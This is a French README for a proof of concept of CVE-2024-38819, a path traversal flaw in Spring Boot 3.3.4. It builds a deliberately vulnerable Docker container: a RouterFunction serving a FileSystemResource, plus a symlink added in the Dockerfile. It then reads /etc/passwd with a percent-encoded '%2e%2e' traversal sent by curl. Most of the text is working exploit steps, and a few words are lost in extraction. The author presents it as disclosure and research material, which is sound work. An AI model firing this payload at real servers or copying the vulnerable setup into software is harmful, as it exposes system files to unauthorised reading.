
Preuve de concept démontrant un exploit de traversée de chemin dans Spring Boot 3.3.4 via un lien symbolique et une traversée de répertoire encodée en pourcentage, pour la recherche en sécurité et l'éducation.
Ceci est une preuve de concept pour la vulnérabilité CVE-2024-38819, que j'ai signalée, démontrant un exploit de traversée de chemin.
Construire l'image Docker (Spring Boot 3.3.4, basée sur Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
Exécuter le conteneur et exposer le port 8080 à la machine hôte
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
Exécuter la commande suivante pour lancer le PoC et confirmer la vulnérabilité
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Si l'attaque réussit, le contenu du fichier /etc/passwd sera affiché.
Créer PathTraversalDemoApplication.java avec le code suivant pour configurer le routage des fichiers statiques en utilisant et :
RouterFunctionFileSystemResourcepublic RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Ajouter la commande suivante au Dockerfile pour créer un lien symbolique :
RUN ln -s /static /app/static/link
Créer une charge utile qui utilise le pourcentage d'encodage pour traverser les répertoires via le lien symbolique.
/static/link/%2e%2e/etc/passwdUtiliser la commande curl suivante pour exécuter le PoC et vérifier si l'attaque réussit :
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Si l'attaque réussit, le contenu du fichier /etc/passwd sera affiché.
Ce PoC est fourni à des fins éducatives et de recherche en sécurité. Avant de l'utiliser dans un système réel, assurez-vous que la vulnérabilité a été corrigée et que vous disposez des autorisations nécessaires. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce code.